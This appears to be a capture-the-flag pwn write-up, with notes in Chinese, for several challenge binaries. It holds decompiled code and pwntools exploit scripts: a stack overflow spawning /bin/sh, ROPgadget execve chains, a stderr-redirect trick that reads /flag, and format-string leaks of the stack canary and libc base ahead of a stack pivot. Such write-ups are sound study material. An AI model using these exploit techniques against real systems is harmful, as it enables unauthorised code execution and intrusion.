puts("Let me show you a magic trick."); puts("Do you like stack overflow?"); fread(ptr, 1uLL, 0x50FuLL, stdin); puts("What's your favorite number?"); magic_number = get_input_num(); puts("And now... for the magic moment!"); magic(ptr, 0LL, 0LL); return (unsignedint)magic_number; }
p=start() p.recvuntil(b"Do you like stack overflow?\n") payload=b"/bin/sh\x00"+b"a"*0x4f8+p64(0x404518)+b"\x81\x12\x40\x00\x00\x00\x00" p.send(payload) p.recvuntil(b"What's your favorite number?\n") p.sendline(str(59)) p.recvuntil(b"And now... for the magic moment!\n") p.interactive() #flag{245d131f-daf0-403a-89bc-264aeaaa489c}
~/Whuctf/ezshell ./pwn ======================================== This is a ez console! ======================================== I believe you can get the flag easily. By the way, What you see is not what you get. When all else fails, typehelp. ======================================== $sh cat /flag 123 sh: 2: 123: not found
将标准输出重定向为标准错误，就可以得到内容了（似乎sh /flag也可以)
~/Whuctf/ezshell ./pwn ======================================== This is a ez console! ======================================== I believe you can get the flag easily. By the way, What you see is not what you get. When all else fails, type help. ======================================== $sh cat /flag 123 sh: 2: 123: not found cat /flag >&2 your_flag_content cat /flag 1>&2 & your_flag_conten
~/Whuctf/ezshell ./pwn ======================================== This is a ez console! ======================================== I believe you can get the flag easily. By the way, What you see is not what you get. When all else fails, typehelp. ======================================== $sh /flag /flag: 1: your_flag_content: not found [2] + 8854 death of child ./pwn
#!/usr/bin/env python3 # execve generated by ROPgadget
from struct import pack
# Padding goes here p = b''
p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret p += pack('<Q', 0x00000000005e4120) # @ .data p += pack('<Q', 0x0000000000426a1a) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000041f555) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret p += pack('<Q', 0x00000000005e4128) # @ .data + 8 p += pack('<Q', 0x0000000000514129) # xor rax, rax ; ret p += pack('<Q', 0x000000000041f555) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040c6bc) # pop rdi ; ret p += pack('<Q', 0x00000000005e4120) # @ .data p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret p += pack('<Q', 0x00000000005e4128) # @ .data + 8 p += pack('<Q', 0x000000000053885b) # pop rdx ; pop rbx ; ret p += pack('<Q', 0x00000000005e4128) # @ .data + 8 p += pack('<Q', 0x4141414141414141) # padding p += pack('<Q', 0x0000000000514129) # xor rax, rax ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret p += pack('<Q', 0x00000000004ac819) # syscall
io=start() io.recvuntil(b"Input your name:") p = b'a'*40 p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret p += pack('<Q', 0x00000000005e4120) # @ .data p += pack('<Q', 0x0000000000426a1a) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000041f555) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret p += pack('<Q', 0x00000000005e4128) # @ .data + 8 p += pack('<Q', 0x0000000000514129) # xor rax, rax ; ret p += pack('<Q', 0x000000000041f555) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040c6bc) # pop rdi ; ret p += pack('<Q', 0x00000000005e4120) # @ .data p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret p += pack('<Q', 0x00000000005e4128) # @ .data + 8 p += pack('<Q', 0x000000000053885b) # pop rdx ; pop rbx ; ret p += pack('<Q', 0x00000000005e4128) # @ .data + 8 p += pack('<Q', 0x4141414141414141) # padding p += pack('<Q', 0x0000000000514129) # xor rax, rax ; ret p += pack('<Q', 0x0000000000426a1a) # pop rax p += pack('<Q', 0x000000000000003b) # execve p += pack('<Q', 0x00000000004ac819) # syscall io.send(p) io.interactive()
s1 = (char *)malloc(0x10uLL); puts("It looks like your girlfriend doesn not want to talk to you."); puts("Maybe you should add something special. Then she will tell you her name."); sub_1615(s1 + 8, 8LL); if ( !strncmp(s1, "iloveuiloveu", 0xCuLL) ) { puts("she loves you as well."); printf("%p", &unk_40B8); } free(s1); }
只要s1与iloveuiloveu相同就可以得到elf基地址，在这个函数可以改后4个字节
还需要改前面8个字节
voidsub_1801() { _BYTE *ptr; // [rsp+8h] [rbp-8h]
ptr = malloc(0x10uLL); puts("If you don't want her to find out what you said, i can keep it a secret for you."); sub_1615(ptr, 16LL); if ( *ptr == 121 || *ptr == 89 ) { puts("Ok, i will keep it."); free(ptr); puts("What do you want to say?"); sub_1615(ptr, 16LL); puts("You said: "); puts(ptr); } else { puts("What do you want to say?"); sub_1615(ptr, 16LL); puts("You said: "); puts(ptr); puts("She doesn't care."); free(ptr); } }
v3 = __readfsqword(0x28u); v1 = 0LL; ptr = malloc(0x10uLL); if ( byte_40B0 != 1 ) { puts("Get out of here!"); } else { puts("Welcome to my flower shop."); puts("You could order a flower for your girlfriend."); puts("Do you want to order?"); sub_1615(ptr, 16LL); if ( *(_BYTE *)ptr == 121 || *(_BYTE *)ptr == 89 ) { puts("Where does she live?"); sub_1615(&v1, 8LL); puts("What flower do you want to order for her?"); sub_1615(v1, 3LL); puts("Welcome back!"); free(ptr); byte_40B0 = 0; } else { puts("See you next time!"); } } return v3 - __readfsqword(0x28u); }
defsub_14D0(a2): char_table = [] v11 = 0 for i inrange(26): if v11 < a2: char_table.append(chr(i + 65)) # A-Z v11 += 1 for i inrange(26): if v11 < a2: char_table.append(chr(i + 97)) # a-z v11 += 1 for i inrange(10): if v11 < a2: char_table.append(chr(i + 48)) # 0-9 v11 += 1 if v11 < a2: char_table.append('+') v11 += 1 if v11 < a2: char_table.append('/') v11 += 1 if v11 < a2: char_table.append('=') v11 += 1 while v11 < a2: char_table.append(chr(v11 ^ 0x5A)) v11 += 1 return char_table
defdecrypt_data(encrypted_data, length): global dword_6100 char_table = sub_14D0(65) decrypted_data = bytearray() for i inrange(length): decrypted_data.append(encrypted_data[i] ^ ord(char_table[i % 65])) dword_6100 ^= length returnbytes(decrypted_data)
p=start()
p.recvuntil(b"-->>\n") p.sendline(str(1)) p.recvuntil(b"i can keep it a secret for you.\n") p.sendline(decrypt_data(b"y",1)) p.recvuntil(b"What do you want to say?\n") p.sendline(b'(.,2 3.$') p.recvuntil(b"You said: \n") data1=p.recvline() log.success(decrypt_data(data1,len(data1)))
p.recvuntil(b"-->>\n") p.sendline(str(3)) p.recvuntil(b"Then she will tell you her name.\n") p.sendline(decrypt_data(b"oveu",4)) p.recvuntil(b"she loves you as well.\n") addr_str = p.recv(14) text_base = int(addr_str, 16)-0x40B8 log.success(hex(text_base))
p.recvuntil(b"-->>\n") p.sendline(str(2)) p.recvuntil(b"Do you want to order?\n") p.sendline(decrypt_data(b"y",1)) p.recvuntil(b"Where does she live?\n") change_where=p64(text_base+0x4040) p.send(decrypt_data(change_where,len(change_where))) p.recvuntil(b"What flower do you want to order for her?\n") change_what=(0xc606f0)&0xffffff#这里的最高一位c不确定，需要爆破尝试，理论1/16 p.send(decrypt_data(p32(change_what),3))
p.recvuntil(b"-->>") p.sendline(str(1)) p.recvuntil(b"i can keep it a secret for you.") p.sendline(decrypt_data(b"y",1)) p.recvuntil(b"What do you want to say?") payload2=b"%11$p" p.sendline(decrypt_data(payload2,5)) p.recvuntil(b"You said: ") p.recvuntil(b"0x") canary_hex = p.recv(16) canary = int(canary_hex, 16) print(f"提取到的Canary: 0x{canary_hex.decode()}")
p.recvuntil(b"-->>") p.sendline(str(1)) p.recvuntil(b"i can keep it a secret for you.") p.sendline(decrypt_data(b"y",1)) p.recvuntil(b"What do you want to say?") payload10=b"%33$p" p.sendline(decrypt_data(payload10,5)) p.recvuntil(b"You said: ") p.recvuntil(b"0x") canary_hex = p.recv(12) libc_base = int(canary_hex, 16)-libc.sym["__libc_start_main"]-0x80 print(hex(libc_base))
write_addr=text_base+0x4600 read_ret=text_base+0x1b32 leave_ret=text_base+0x1b5d p.recvuntil(b"-->>") p.sendline(str(4)) p.recvuntil(b"Tell me something to prove that your girlfrined exists.") payload2=p64(0)*9+p64(canary)+p64(write_addr)+p64(read_ret) p.send(payload2)
